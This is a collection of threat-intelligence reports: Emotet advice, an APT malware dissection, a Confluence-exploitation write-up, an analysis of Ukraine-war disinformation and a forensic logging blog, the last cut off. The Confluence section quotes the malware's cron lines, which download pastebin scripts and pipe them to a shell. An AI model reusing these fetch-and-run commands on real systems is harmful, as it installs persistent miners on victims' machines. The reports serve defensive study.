credentials. - Train users to identify and report suspicious emails, including from trusted contacts. ### Protect endpoints against malware - Ensure antivirus signatures are up-to-date. - Use a Next-Gen AV (NGAV) or Endpoint Detection and Response (EDR) product to detect and contain threats. - Limit or disable macros across the organization. Emotet is an information stealer malware that is also used for initial access by multiple threats such as Qakbot and Trickbot. Emotet has been previously observed leading to Ryuk, Conti, ProLock, and Egregor ransomware threats. As of this writing, follow-on malware has not been observed in these latest campaigns. Emotet activity halted in early 2021, after law enforcement acted against the Emotet threat and seized malicious infrastructure. Recent activity is believed to be focused on re-establishing botnet hosts. ## Overview of November 15th to 17th 2021 Emotet Activity ### Distribution - Existing Trickbot Infections. - Mass email delivery. ### Emotet Email Content - Spoofed replies to stolen email threads (email thread hijacking). - Excel (.xlsm) attachments. - Word (.docm) attachments. - Password protected Zip archives containing malicious office documents. - Links to malicious office documents. ### Malicious Office Documents - Use of standard lures to entice recipients to enable macros. - Successful macros execution results in PowerShell commands to retrieve and execute payloads via rundll32.exe. - No secondary payloads have been observed as of time of writing.
# Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions ## Executive Summary Bitdefender researchers are constantly monitoring APT groups and their activities around the world, in an effort to gain better insights into their tactics, techniques, and targeted victims. While some APT groups operate for financial profit, others have been attributed to nation states and may follow a political agenda. Forensic artefacts left behind by APT groups when using custom-built tools or specific payloads can sometimes point to a known actor, but may also reveal additional information about how the groups operate after compromising a target. When monitoring for activity of APT groups in the Asian region, Bitdefender researchers found signs of a complex and targeted espionage attack on potential government sector victims in South East Asia, carried out by a sophisticated Chinese APT group. The earliest signs of attack date back to November 2018, followed by an increase in activity starting early 2019. Over a span of five months, around 200 systems showed signs of having various tools associated with the investigated APT deployed within them. Some evidence suggests threat actors may have managed to compromise domain controllers from the victim’s network, allowing them to move laterally and potentially gain control over a large number of machines from that infrastructure. The investigation points to an attack meant to ensure persistence in the victims’ network for as long as possible, to spy on victims by monitoring their activities, and to exfiltrate intelligence. This research focuses on dissecting an APT attack and providing a full report on the tools, tactics, and techniques used by the sophisticated group during the attack. ## Key Findings - Potential Chinese APT group targeting a South East Asian government - Persistence through digitally signed binaries vulnerable to side-loading a backdoor into memory - Extensive custom toolset for data exploration and exfiltration - Three backdoors used (Chinoxy, PcShare, FunnyDream) - Potentially compromised domain controllers, gaining control over the victim’s network - First detailed timeline of this attack and the tools, tactics, and techniques used - Around 200 machines showed signs of having various tools associated with the APT group ## Attack Timeline When investigating the Chinese APT group, Bitdefender researchers managed to compile an attack timeline of how the tools were used when compromising a machine. The first suspicious signs observed were unusual processes with command lines that contain file extensions and timestamps. Further analysis revealed a complex attack, with multiple types of tools combined to monitor and spy on the victims, having as a final purpose exfiltration of intelligence and sensitive information. Despite efforts, the infection vector remains unknown, although some clues indicate that it is most probably social engineering through a spam email. Following the killchain, the first trace observed was the execution of the Chinoxy backdoor, whose role was to gain persistence in the victim’s system after initial access. Although Chinoxy acts as the main backdoor, another component deployed by Chinoxy is an open-source Chinese RAT called PcShare. Both Chinoxy and PcShare have a persistence mechanism, with the first backdoor being copied to the startup folder and the second one hijacking a COM object (MruPidlList). To evade detection, the Chinoxy dropper uses a digitally signed binary (Logitech Bluetooth Wizard Host Process) vulnerable to side-loading to load the backdoor DLL into memory. Moving further in the investigation uncovers some evidence of lateral movement. The attackers’ preference for using the wmiexec.vbs script to run remote commands was noted. For the discovery step, the attackers used command line tools like tasklist.exe, ipconfig.exe, systeminfo.exe, and netstat.exe, executed from batch files, mapping the internal network and gaining information about the systems from that institution. After the discovery process, the attackers used a tool for file collection called ccf32. The tool is copied to C:\Users\Public folder and is run with schtasks on a daily basis, with the files collected by ccf32 copied to a remote machine. However, ccf32 isn’t the only tool used for collecting files. A much more complex toolset, probably custom-made, was identified, whose role was to collect files, monitor the file system for changes, take screenshots, log keystrokes, and exfiltrate that information to the C&C server. ## Tools Arsenal ### Chinoxy The starting point of the investigation was the unusual activity of ccf32.exe. Investigating the root cause analysis for this process revealed that the parent process of ccf32.exe was Chinoxy malware. One of the analyzed samples was identified as the dropper for the Chinoxy backdoor. The dropping function initiates the decryption of the config by extracting the content of the “GGMM” resource. After the decryption, the config is written to the k1.ini file in the %TEMP% folder. The config value from the k1.ini file contains the base64 representation of the C&C string. Once executed, it will extract two binaries, named LBTServ.dll and unio.exe. The unio.exe file is actually a digitally signed binary, LBTWizGi.exe, vulnerable to side-loading which is exploited by the attackers to load LBTServ.dll (Chinoxy backdoor) from the current directory. After being loaded, the backdoor writes to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run registry key the path to unio.exe under the “UNI” key value. This is not the only persistence used; some Chinoxy droppers were located in the startup folder. In the context of the current attack, the Chinoxy backdoor was mainly used to execute ccf32.exe for data collection. The attackers copied ccf32.exe to \\<remote_host>\C$\Users\Public\folder, along with a bat file, then executed the bat daily using schtasks.exe. ### PcShare During the investigation, files with names like “bitupdating.exe”, “iat.exe”, and “bit.exe” were noticed on some victims’ machines. These files were identified as PcShare droppers. The attackers used a slightly modified version of PcShare that is available on GitHub, in addition to the Chinoxy backdoor. ### PcShareDropper All samples of droppers are executable files with the “wuauclt.exe” InternalName. Once executed, the dropper starts its activity by obtaining the addresses of the winapi functions used. The dropper creates the %LOCALAPPDATA%\microsoft\windows\explorer\update folder, drops the PcShare Loader in the %TEMP% folder, and then moves this file into the created folder. ### PcShareLoader The role of the loader is to inject the PcMain payload into the logagent.exe process. The loader is a DLL file with the “wuaueng.dll” InternalName. The loader checks whether the name of the executable in which the respective DLL is being loaded is “explorer.exe”. If it is, the Embedding function is called. ### PcMain All samples of PcMain extracted from loaders are injected into logagent.exe. The PcMain obtains the PSDLLINFO structure mapped into the logagent.exe memory and continues with the decryption of the string collection by applying a XOR operation and a decompression using LZM algorithm. ### Ccf32 The ccf32.exe binary is a command line tool used for data collection. The “-PC” option accepts six parameters, including the target folder for listing, the archive password, file extensions, and two timestamps. The ccf32 creates a hidden directory in the current location, naming it after the current local time, and temporarily stores the files that it intends to collect. ### FunnyDream Toolset The attackers used the FunnyDream backdoor prevalently as DLL files, but an executable was also observed. The FunnyDream backdoor has multiple capabilities, such as gathering user information and sending it to the command and control server, cleaning traces of malware deployment, detection evasion, and executing commands. ### C&C Communication Communication with the C&C server starts by obtaining the address. Usually, it is in plain text, but there are cases where they are base64 encoded. Some samples initiate a TCP connection directly to the C&C server, while others have a more complex logic. ### Backdoor Capabilities The backdoor tries to delete a file whose file path replaced the “funnydream” string from the template. It also runs commands to extract user information from the system and sends the output to the C&C. ### C&C Infrastructure The domains or IP addresses of command and control servers are hardcoded in binary files. Most of the infrastructure is located in Hong Kong, with some servers in Vietnam, China, and South Korea. ### Attribution Attributing APT style attacks to a particular group or country can be extremely difficult. While having a C&C infrastructure based in the same region as the victims isn’t usually considered a sign that attackers share the same geographical region, it could provide advantages to the APT group. ### IOCs An up-to-date and complete list of indicators of compromise is available to Bitdefender Advanced Threat Intelligence users.
# CVE-2019-3396: Exploiting the Confluence Vulnerability In March 2019, Atlassian published an advisory covering two critical vulnerabilities involving Confluence, a widely used collaboration and planning software. In April, we observed one of these vulnerabilities, the widget connector vulnerability CVE-2019-3396, being exploited by threat actors to perform malicious attacks. Security provider Alert Logic also discovered the vulnerability being exploited to drop the Gandcrab ransomware. It seems that these incidents are not the last we’ve seen of the CVE-2019-3396 exploitation, as threat actors are still finding new ways to exploit the vulnerability. We discovered that it is also being used to deliver a cryptocurrency-mining malware containing a rootkit that was designed to hide its activities. This technique is highly reminiscent of another attack that occurred in November 2018 that used a similar miner-rootkit combination. ## Arrival and propagation The attack begins with a remote command sent to download a shell script from pastebin. This shell script kills certain processes and then downloads and executes “lsd_1” from another pastebin. This file is a second shell script that will drop a third shell script, “lsd_2,” sourced from yet another pastebin. This shell script is responsible for downloading a trojan dropper from the following servers: - gwjyhs.com - img.sobot.com The malware, kerberods (detected as Trojan.Linux.KERBERDS.A), is a custom-packed binary that installs itself via cron jobs: ``` */10 * * * * curl -fsSL hxxps://pastebin.com/raw/60T3uCcb|sh */15 * * * * wget -q -O- hxxps://pastebin.com/raw/60T3uCcb|sh */10 * * * * root curl -fsSL hxxps://pastebin.com/raw/60T3uCcb|sh */15 * * * * root wget -q -O- hxxps://pastebin.com/raw/60T3uCcb|sh */15 * * * * (curl -fsSL hxxps://pastebin.com/raw/rPB8eDpu||wget -q -O-hxxps://pastebin.com/raw/rPB8eDpu)|sh ``` Kerberods is responsible for dropping the cryptocurrency miner (khugepageds, detected as Coinminer.Linux.MALXMR.UWEJI) and its rootkit component. One particularly interesting aspect of the binary is the way it drops the rootkit. First, it writes the code for the rootkit to a file named `/usr/local/lib/{random filename}.c`. The rootkit is then compiled via gcc, with the output binary being `/usr/local/lib/{random filename}.so`. Kerberods also has multiple ways of propagating itself, spreading via SSH and exploiting CVE-2019-1003001 and CVE-2019-1003000. As for khugepageds, it is an XMRig 2.14.1-mo1 Monero miner with a config that is hardcoded into the binary. The mining pool can be accessed at systemten.org:51640. ## Rootkit as evasion method As mentioned earlier, this attack shares many of the same characteristics of last year’s incident, such as the use of pastebin as a C&C server, the miner payload, and its use of a rootkit to hide the malware. Like kerberods, the miner payload also uses a custom packer to impede analysis. Unlike the older rootkit that only hooks the readdir function to hide the mining process, this new version hooks more functions. It hides not only the mining process but also certain files and network traffic. It is also capable of forging the machine’s CPU usage. The hooked functions are shown below: - fopen - fopen64 - lstat - lxstat - open - rmdir - stat - stat64 - __xstat - __xstat64 - unlink - unlinkat - opendir - readdir - readdir6 Most of the hooked functions would return a “No such file or directory” error if their parameter contains the file name of the rootkit, the miner, or ld.so.preload. The following image shows the htop system monitor output with and without the rootkit loaded. Note how the version with the rootkit loaded hides the CPU usage and the mining process. The rootkit also serves as a form of persistence by hooking the access function so that a cron job is created to reinstall the malware whenever it is called. ## Security recommendations and solutions We’ve seen multiple attacks involving CVE-2019-3396 within a short span of time. This shows that cybercriminals are willing and able to abuse any vulnerability in multiple ways. This emphasizes that continuous monitoring is needed to detect any threats in an organization’s environment. For effective monitoring, organizations can look into the Trend Micro™ Hybrid Cloud Security solution, which provides powerful, streamlined, and automated security within the DevOps pipeline. It also provides multiple XGen™ threat defense techniques for protecting physical, virtual, and cloud workloads. In addition, it protects containers via the Deep Security™ and Deep Security Smart Check solutions, which help DevOps and security teams scan and ensure the security of container images during preruntime and runtime. The Trend Micro Deep Security solution protects user systems from threats that may target the following vulnerability rule: - 1009705 - Atlassian Confluence Server Remote Code Execution Vulnerability (CVE-2019-3396) ## Indicators of Compromise (IoCs) | Details | Hashes (SHA-256) | Detection Name | |--------------|--------------------------------------------------------------------------------------------------|-----------------------------------------| | kerberods | a9228b6a3fe0b8375d6b881626fd4b59fbbf54dbd60a94b085ee0455b3d18fe9 | Trojan.Linux.KERBERDS.A (coinminer binary) | | khugepageds | 25064a5ab78cdd36e7049d00b9319222906dd634908c1858e2262bf333631213 | Coinminer.Linux.MALXMR.UWEJI (cryptocurrency mining malware) | | random.so | 3392589c9ebbf7600035574e338d69625cd5ce83ee655582fe8bbadb663532b3 | Rootkit.Linux.KERBERDS.A (rootkit) | We discovered the Confluence vulnerability CVE-2019-3396 being used to deliver a cryptocurrency-mining malware containing a rootkit that was designed to hide its activities.
# The IO Offensive: Information Operations Surrounding the Russian Invasion of Ukraine The recent phase of Russian aggression toward Ukraine, manifested by Russia’s full-scale invasion, has flooded the information environment with disinformation promoted by a full spectrum of actors. Concerted information operations have proliferated, ranging from cyber-enabled information operations, including those that coincided with disruptive and destructive cyber threat activity, to campaigns leveraging coordinated and inauthentic networks of accounts to promote fabricated content and desired narratives across various social media platforms, websites, and forums. While the full extent of this activity has yet to be seen, more than two months after the start of the invasion, Mandiant has identified activity attributed to information operations campaigns conducted by actors we judge to be operating in support of the political interests of nation-states such as Russia, Belarus, China, and Iran, including ongoing campaigns that we have tracked for years. This report examines a slice of this activity, highlighting significant information operations Mandiant has observed in our work responding to the invasion and presenting our early analysis of those events. ## Information Operations Aligned with Russian Interests Concurrent with Disruptive and Destructive Cyber Threat Activity Mandiant identified information operations aligned with Russian political interests that occurred concurrently with disruptive and destructive, likely Russian-sponsored cyber threat activity in the weeks immediately preceding and following the start of the invasion, including incidents involving the deployment of wiper malware disguised as ransomware. Cyber-enabled information operations by nature require access to diverse skillsets to support different operational components, which varies based on the complexity of the operation. While we cannot link these operations to the concurrent disruptive and destructive activity, this limited pattern of overlap may suggest that some of the actors behind information operations observed in this conflict are linked to groups with extensive capabilities. | Date | Information Operation | Concurrent Disruptive and Destructive Activity | |-----------|-------------------------------------------------------------|------------------------------------------------| | 1/13 Jan. | Multiple Ukrainian government websites, including that of the Ministry of Foreign Affairs, were defaced with a message in Russian, Ukrainian, and Polish claiming that data had been deleted from government servers and would be released. | The defacements likely coincided with the January deployment of destructive tools PAYWIPE, an MBR wiper disguised as ransomware, and the SHADYLOOK file corrupter against Ukrainian government and other targets. | | Feb. 23, 2022 | Dozens of Ukrainian government websites were defaced with the same image displayed in the Jan. 14 incident. | This incident coincided with destructive attacks against Ukrainian government targets using the NEARMISS master boot record (MBR) wiper and PARTYTICKET wiper disguised as ransomware. | | March 16, 2022 | An information operation targeting Ukraine promoted a fabricated message alleging Ukraine's surrender to Russia via the suspected compromise and defacement of the Ukraine 24 website and news ticker in a Ukraine 24 TV broadcast with a written message, as well as via an artificial intelligence (AI)-generated "deepfake" video impersonating Ukrainian President Zelenskyy delivering that same text. | On the same day, Mandiant identified the JUNKMAIL wiper targeting a Ukrainian organization. The malware was configured via a scheduled task to execute approximately three hours before Zelenskyy was scheduled to deliver a speech to the U.S. Congress. | ## Russian and Belarusian Information Operations Include Cyber-Enabled Operations, Use of Established Assets Russian and Belarusian information operations actors and campaigns, including those historically linked to cyber threat activity such as hack-and-leak operations, have engaged in activity surrounding the invasion that is consistent with their previously established motives. Their use of developed campaign infrastructure, including in some instances the refocusing of established assets, demonstrates how years-long efforts of Russian, pro-Russian, and Belarusian information operations targeting Ukraine and the broader region have been leveraged to address emerging security interests. In addition to known campaigns, we have also identified information operations activity promoting pro-Russian content on the invasion that we have not attributed to a previously observed campaign or actor. APT28: Telegram channels that the Security Service of Ukraine (SBU) has attributed as information operations assets of the 85th Main Special Service Center of the Russian General Staff’s Main Intelligence Directorate (GRU) have continued to post content pertaining to the current conflict. These channels were active prior to the invasion, and while we were unable to independently confirm the SBU’s attribution, we note that the channels’ activity includes promoting content that appears intended to weaken Ukrainians’ confidence in their government and its response to the invasion. The content also appears intended to undermine support for Ukraine from its Western partners, interspersed with more seemingly benign posts relaying apolitical content or news reporting. APT28 has an extensive history of involvement in information operations, ranging from hack-and-leak operations to disruptive activity. Prominent operations involving APT28 have included compromises of the U.S. Democratic National Committee (DNC) and U.S. Democratic Congressional Campaign Committee (DCCC) in 2016, documents from which were subsequently leaked by the false hacktivist persona Guccifer 2.0, and the 2014 compromise, defacement, data leak, and data destruction of the Ukrainian Central Election Commission’s network and website. Ghostwriter: A suspected Ghostwriter operation in April leveraged a suspected compromised website and multiple suspected compromised or otherwise actor-controlled social media accounts to publish fabricated content to promote a narrative that appeared intended to foment distrust between Ukrainians and the Polish government. Inauthentic personas we attributed to the Ghostwriter campaign have also continued to publish and promote opinion articles criticizing NATO and its presence in the Baltic States, with increased references to Ukraine in that context. We have assessed with moderate confidence that Belarus is likely at least partially responsible for the Ghostwriter campaign. In the weeks leading up to the invasion and subsequent weeks thereafter, we observed multiple campaigns conducted by Belarusian espionage group UNC1151 targeting European countries, including a recent spear-phishing campaign targeting Lithuania. Observed targeting associated with UNC1151 threat activity is notable, given the group’s technical support to information operations attributed to Ghostwriter. Niezależny Dziennik Polityczny (NDP): Immediately following Russia’s invasion of Ukraine, we observed assets associated with NDP, an information operations campaign centered around an online journal of the same name, shift toward an aggressive defense of Russian strategic interests. During this period, we observed the campaign’s concerted promotion of narratives seeded by both overt and covert sources within Russia’s propaganda and disinformation ecosystem. We do not attribute the NDP campaign to a specific actor. However, we have observed overlaps between NDP and the Ghostwriter campaign that may suggest some degree of coordination or advanced shared knowledge of operational planning between the two campaigns. Secondary Infektion: Both prior to and during the invasion, the ongoing suspected Russian influence campaign referred to as “Secondary Infektion” has continued its operations, targeting audiences with fabricated narratives that are often supported by falsified source materials, such as forged documents, correspondence, pamphlets, and screenshots, as well as counterfeit petitions and interviews. All specific Secondary Infektion activity referenced in this blog are operations that we are sharing our attribution of publicly for the first time. Internet Research Agency (IRA): Reporting from the Russian newspaper Fontanka.ru suggested the existence of covert influence operations related to the Telegram channel “Cyber Front Z.” The channel is overtly dedicated to organizing the coordinated promotion of pro-Russia content pertaining to the invasion to audiences in Russia, Ukraine, and the West on social media. The Fontanka.ru report claimed that Cyber Front Z may be run by individuals linked to entities sanctioned by the U.S. as related to the IRA, and that the paid positions promoted by this Telegram channel are part of a “troll factory” that uses inauthentic personas to promote pro-Russia content on multiple platforms. We are unable to independently confirm these claims, but note that such activity is aligned with what we have previously observed from known IRA assets. Russian Intelligence-Linked Covert Media Outlets: We observed outlets that self-present as independent entities, but have been publicly reported to be linked to Russian intelligence entities, engaged in the publication and amplification of pro-Russia narratives related to the invasion. These include outlets with reported links to the Foreign Intelligence Service of the Russian Federation (SVR), Federal Security Service of the Russian Federation (FSB), and Main Directorate of the General Staff of the Armed Forces of the Russian Federation (GRU). Russia-Aligned “Hacktivist” Groups: Established hacktivist personas JokerDNR and Beregini have remained active in their targeting of Ukraine in the leadup to and since Russia’s invasion, including through their publication of allegedly leaked documents featuring possible personally identifiable information (PII) of Ukrainian military members. Additionally, newly established “hacktivist” groups, whose degrees of affiliation to the Russian state are yet unknown, like Killnet, Xaknet, and RahDit, have engaged in hacktivist-style threat activity in support of Russia, including distributed denial-of-service (DDoS) attacks, hack-and-leak operations, and defacements. ## Observed Pro-Russia Narratives Seek to Demoralize Ukrainians, Sow Division Between Ukraine and Western Allies, Bolster Public Perception of Russia Disinformation narratives promoted through concerted information operations have made an array of claims attempting to shape perceptions of the invasion and the larger geopolitical context surrounding it. Many of the narratives we have observed promoted appear intended to serve at least one of these three functions: demoralizing Ukrainians and fomenting internal unrest; dividing Ukraine from its allies; and bolstering perceptions of Russia. Much of this activity has targeted audiences in Ukraine and Europe. However, we have also identified information operations assets promoting messaging that we judge to be aimed at Russian domestic audiences, underscoring Russia’s need to sell the war to its own people. ### Demoralize the Ukrainian Population We have identified multiple narratives that appeared intended to demoralize Ukrainians and incite internal unrest within Ukraine, including false claims of the surrender of the Ukrainian government or military. An information operation in March disseminated an artificial intelligence (AI)-generated “deepfake” video of Zelenskyy stating that Ukraine had surrendered to Russia, and defaced the Ukraine 24 website and news ticker in a Ukraine 24 TV broadcast with an identical message or screenshot from the deepfake video. Since the start of the war, other Ukrainian websites have also been defaced with messages alleging Ukraine’s surrender. A Secondary Infektion operation in March falsely claimed that Zelenskyy had committed suicide in the military bunker in Kyiv where he had been leading the fight against the invasion, alleging that he had been contemplating suicide due to Ukraine’s military failures. Another Secondary Infektion operation from April alleged that the Azov “gang” sought vengeance against Zelenskyy for abandoning their fighters to die in Mariupol, and claimed that Azov commanders had attempted to escape the city by pretending to be civilians. The narrative here specifically refers to Ukraine's Azov Regiment, a special operations detachment within the Ukrainian National Guard, which is itself part of a broader ultranationalist movement—segments of which have been known to espouse white nationalist rhetoric; Azov has frequently appeared in pro-Russia narratives seeking to cast the Ukrainian government, and Ukrainians more broadly, as Nazis. Telegram channels attributed by Ukraine to the GRU highlighted alleged corruption and incompetence on the part of the Ukrainian government, such as claims that Ukraine was unprepared for the conflict, and that Ukrainian oligarchs had “paid Zelenskyy for the right to leave the country.” ### Divide Ukraine from Its Allies A recent Ghostwriter operation, which we are making our attribution public for the first time, leveraged compromised assets to publish fabricated content promoting the narrative that a Polish criminal ring was harvesting organs from Ukrainian refugees to illegally traffic in the European Union, and that Poland’s Internal Security Agency was investigating the criminal enterprise, which was said to involve “high-ranking Polish officials.” Opinion articles published by suspected inauthentic personas associated with NDP promoted narratives seemingly intended to damage Polish-Ukrainian relations by creating fear, uncertainty, and doubt (FUD) surrounding Poland’s acceptance of Ukrainian refugees. These narratives included falsehoods that sought to portray the refugees as overly burdening Poland’s economy and healthcare system and to stoke fears among Polish citizens that “neo-Nazis” or other undesirable immigrants would begin exploiting mass border crossings to carry out attacks on Polish soil. The Jan. 14 and Feb. 23 defacements of Ukrainian government websites referenced war crimes committed by the "Ukrainian Insurgent Army" (UPA) against ethnic Poles during World War II, a theme previously observed in Russian and Belarusian information operations. For example, a November 2021 Ghostwriter operation featured a fabricated account from a retired Polish general, stating that the alleged presence of Ukrainian volunteers with far-right political leanings in Poland was “an insult” to the victims of the same war crimes. Recent Ukrainian- and Russian-language Secondary Infektion operations claimed that the Ukrainian and Polish governments sought to enable Polish troops to deploy in western Ukraine, a move they portrayed as anathema to the Ukrainian people. One operation in early April claimed that Poland attempted to use an alleged “provocation,” staged by Ukraine, showing Russian troops committing atrocities in Bucha to justify stationing troops in the country, while an operation in early February involved the dissemination of a map showing specific locations where Polish troops would be located, with the suggestion that those troops would occupy large swaths of Ukraine for years. Observed narratives from Telegram channels Ukraine attributed to the GRU included suggestions that the West would soon forget about and abandon Ukraine, due in part to the diversion of its attention to impending conflicts elsewhere, such as a potential war launched by the U.S. against Iran. ### Bolster Perceptions of Russia Multiple identified narratives have appeared intended to bolster perceptions of Russia through denial and deflection, including by refuting Russian war crimes in Ukraine and making counter-allegations against Ukrainian forces. Cyber Front Z, in its coordinated promotion of pro-Russia commentary, called on social media users to claim that Ukrainian “Nazis” forced civilians into a theater in Mariupol, which they then detonated. We identified a coordinated and inauthentic network of social media accounts that promoted Russian-language messaging, including assertions that Ukrainian forces had used chemical weapons. These accounts also denied the effects of the West’s response to Russia’s invasion of Ukraine, such as sanctions on Russia, and claimed that such measures had negative consequences for the West. ## Pro-PRC Information Operations Campaign DRAGONBRIDGE Messaging Includes Echoes of Russian State-Promoted Narratives DRAGONBRIDGE, a pro-PRC campaign which comprises a network of thousands of inauthentic accounts across numerous social media platforms, websites, and forums that we first reported to customers in 2019, has shifted its messaging in response to the Ukraine crisis and subsequent invasion. DRAGONBRIDGE content in English and Chinese has included echoing narratives promoted by Russian state media and influence campaigns, such as alleging the existence of Pentagon-linked laboratories conducting biological weapons research in Ukraine. Notably, such echoing of narratives is not unusual, and charging the U.S. with malfeasance and interference in other countries is likewise in line with PRC political interests; we have previously observed both pro-PRC and pro-Russia information operations promoting content on the alleged involvement of U.S. biolabs in hazardous research. The campaign’s leveraging of Russia-aligned narratives on Ukraine may constitute a form of political opportunism in its continued attempts to target the U.S. and the West’s global standing. On March 6, Russian Defense Ministry spokesperson Igor Konashenkov claimed that Russia’s military operation in Ukraine had uncovered evidence of Pentagon-linked laboratories in Ukraine conducting bioweapons research. DRAGONBRIDGE accounts subsequently amplified this claim, including allegations that U.S.-funded biolabs existed not only in Ukraine, but also around the world. DRAGONBRIDGE accounts also insinuated that the alleged biolabs in Ukraine were responsible for “mysterious outbreaks,” the nature of which went unexplained, and that biolabs elsewhere in the world were likewise harming local populations. ## Pro-Iran Information Operations Denigrate Western Response to Conflict, Take Aim at Russia-Israel Relationship Similarly, Mandiant has observed Iranian and pro-Iran information operations leveraging narratives pertaining to the invasion to take aim at the West, Saudi Arabia, and Israel. Involved campaigns have included the Liberty Front Press (LFP) campaign, as well as activity from a pro-Iran campaign we have not previously named that we are dubbing “Roaming Mayfly,” due to its potential links to the Iran-aligned Endless Mayfly influence campaign that Citizen Lab reported on in 2019. Messaging directed at Arabic-language audiences asserted that the U.S. fled from Afghanistan in 2021, and had now abandoned Ukraine, which deserved its fate due to its alliance with the “American axis of evil.” Similarly, English-language content averred that NATO had sacrificed Ukraine to avoid engaging in a war with Russia. Pro-Iran information operations assets also declared that Ukraine should not have surrendered its nuclear weapons, implying that such a concession had left it vulnerable to the subsequent invasion. Pro-Iran information operations have also leveraged the conflict to accuse the West of hypocrisy in its dealings with Saudi Arabia compared to Russia, by juxtaposing the war in Ukraine against the war in Yemen. Tangentially, assets leveled accusations of racism on the part of the West against Arabs and Muslims, noting alleged differences in its response to the conflict in Ukraine in comparison to conflicts in the Middle East. We also observed Roaming Mayfly target Russian audiences on the eve of the war in what appeared to be an attempt to use the crisis to drive tensions between Russia and Israel. Namely, the campaign leveraged a (now-suspended) impersonator of the Russian journalist and foreign policy thinker, Fyodor Lukyanov, to publish tweets suggesting that Israeli intelligence was supporting Ukraine against Russia in the current crisis, and that Israel had supported the “Ukrainian color [revolutions]” of 2000, 2004, and 2014. ## Outlook Information operations observed in the context of Russia’s invasion of Ukraine have exhibited both tactical aims responding to, or seeking to shape, events on the ground and strategic objectives attempting to influence the shifting geopolitical landscape. While these operations have presented an outsized threat to Ukraine, they have also threatened the U.S. and other Western countries. As a result, we anticipate that such operations, including those involving cyber threat activity and potentially other disruptive and destructive attacks, will continue as the conflict progresses. One notable feature of operations attributed to known actors thus far is their apparent consistency with the respective campaign’s established motives. Russia-aligned operations, including those attributed to Russian, Belarusian, and pro-Russia actors, have thus far employed the widest array of tactics, techniques, and procedures (TTPs) to support tactical and strategic objectives, directly linked to the conflict itself. This is especially beneficial when the facts on the ground shape Russia’s need to influence events in Ukraine, marshal domestic Russian support, and manage global perceptions of Russia’s actions. Meanwhile, pro-PRC and pro-Iran campaigns have leveraged the Russian invasion opportunistically to further progress long-held strategic objectives. We likewise expect this dynamic to continue and are actively monitoring for expansions in their scope of information operations activity surrounding the conflict.
# How to Leverage User Access Logging for Forensic Investigations CrowdStrike analysts recently began researching and leveraging User Access Logging (UAL), a newer forensic artifact on Windows Server operating systems that offers a wealth of data to support forensic investigations. UAL has proven beneficial to help correlate an account and the source IP address with actions performed remotely on systems. This blog post provides an overview of UAL databases and offers examples of interpreting the treasure trove of data that they contain. ## What Is User Access Logging? UAL is a feature included by default in Server editions of Microsoft Windows, starting with Server 2012. As defined by Microsoft, UAL is a feature that “logs unique client access requests, in the form of IP addresses and user names, of installed products and roles on the local server.” This means that UAL records user access to various services running on a Windows Server. The access is logged to databases on disk that contain information on the type of service accessed, the user account that performed the access, and the source IP address from which the access occurred. One key element of UAL is that each record is based on the combination of username, source IP, and service accessed — so it’s naturally suited for identifying anomalous or rare access to a system. With default settings, this information is retained for up to three years. Naturally, this data can be extremely valuable in forensic investigations. Unfortunately, there’s a marked lack of awareness of this type of artifact in the digital forensic community. Many forensic solutions do not parse these databases, and therefore threat analysts could potentially miss data relevant to an investigation. ## Where to Find UAL Data UAL database files are stored under the directory `C:\Windows\System32\LogFiles\Sum`. Inside this directory, you’ll find up to five Extensible Storage Engine (ESE) database files with .mdb extensions. The files include: - Current.mdb (UAL database — current year; active copy) - `<GUID>.mdb` (UAL database — current year) - `<GUID>.mdb` (UAL database — previous year) - `<GUID>.mdb` (UAL database — two years prior) - Systemidentity.mdb (database containing information about the server, including a map of RoleGuid values to Role names) The Current.mdb file contains UAL data for the current year, while the two previous years are stored in .mdb files with GUID-style filenames. Per Microsoft, UAL makes a copy of the active database file, current.mdb, to a file named GUID.mdb every 24 hours. On the first day of the year, UAL will create a new GUID.mdb. The old GUID.mdb is retained as an archive. After two years, the original GUID.mdb will be overwritten. This means there can be up to three years of historical data stored on the UAL. Following the above, Current.mdb and the GUID-style files contain the same set of tables. These files will include the CLIENTS table, where some of the juiciest forensic data is stored — this is where you’ll find the historical records of users accessing various services. ### Sample Record from the CLIENTS Table | RoleGuid | TotalAccesses | InsertDate | LastAccess | Address | AuthenticatedUserName | |----------------------------------|---------------|-----------------------|-----------------------|---------------|------------------------| | 10a9226f-50ee-49d8-a393-9a501d47ce04 | 1 | 2019-03-12T18:06:56Z | 2019-03-12T18:06:56Z | 0a0a0cc8 | DOMAIN\User1 | In the above example, the UAL record indicates that the user DOMAIN\User1 accessed the system via SMB on 2019-03-12 at 18:06:56 UTC, coming from the source IP address 10.10.12.200. The source IP address is stored in the Address field in hexadecimal (0a 0a 0c c8 = 10 10 12 200). The InsertDate field contains the UTC timestamp of the first access for the year for the combination of user, RoleGuid, and source IP. LastAccess is similar but represents the most recent access for the year. The TotalAccesses value of 1 indicates that this was the only access for the year. If access occurred on additional days between the InsertDate and LastAccess, the total count would be included in this field. In addition, a daily count of the number of accesses per day would be included in additional fields named Day1 up to Day366. The RoleGuid field represents the type of service that was accessed. In this case, it was 10a9226f-50ee-49d8-a393-9a501d47ce04, which corresponds with what is known as the File Server Role. This typically represents SMB access, though it’s possible other protocols may be logged here as well. ## A Note on Roles The Roles referenced by UAL data are tied directly to Server Roles installed on Windows Server systems. This is done via the Server Manager application, by clicking on Manage → Add Roles and Features. Certain Roles are included in the ROLE_IDS table by default, regardless of whether or not they are enabled. Other Roles may get added to the bottom of the ROLE_IDS table when they are installed via the Server Manager. For example, when making a server into a Domain Controller, one would install the Active Directory Domain Services Role, at which point this server would be added to the bottom of the ROLE_IDS table, and access under this Role would start being logged in the CLIENTS table. However, not every installed Role will necessarily end up being tracked by UAL. ### File Server Role From a forensic perspective, one of the most fruitful Roles in UAL analysis is the File Server Role. It can be found as a subitem under File and Storage Services in the Server Manager menu. Microsoft notes that the File Server Role “manages shared folders and enables users to access files on [a] computer from the network.” The consequence is that SMB access is logged in UAL databases under the File Server RoleGuid. This means UAL databases potentially contain up to three years of historical SMB access. This data can be extremely valuable during investigations. It’s important to note that this SMB logging includes when, for example, a user maps a file share and performs actions that use SMB under the hood, including SMB named pipes. For example, remotely interacting with a service using sc.exe will result in File Server UAL entries on the target system, because an SMB named pipe (\\.\PIPE\svcctl) is used. Similarly, a UAL File Server entry for a user doesn’t necessarily mean that the user purposefully used SMB. As a side note, even if the File Server Role is not explicitly enabled, SMB access will still be logged by UAL (as long as the firewall rules to allow SMB access are enabled). When the File Server Role is installed, these firewall rules 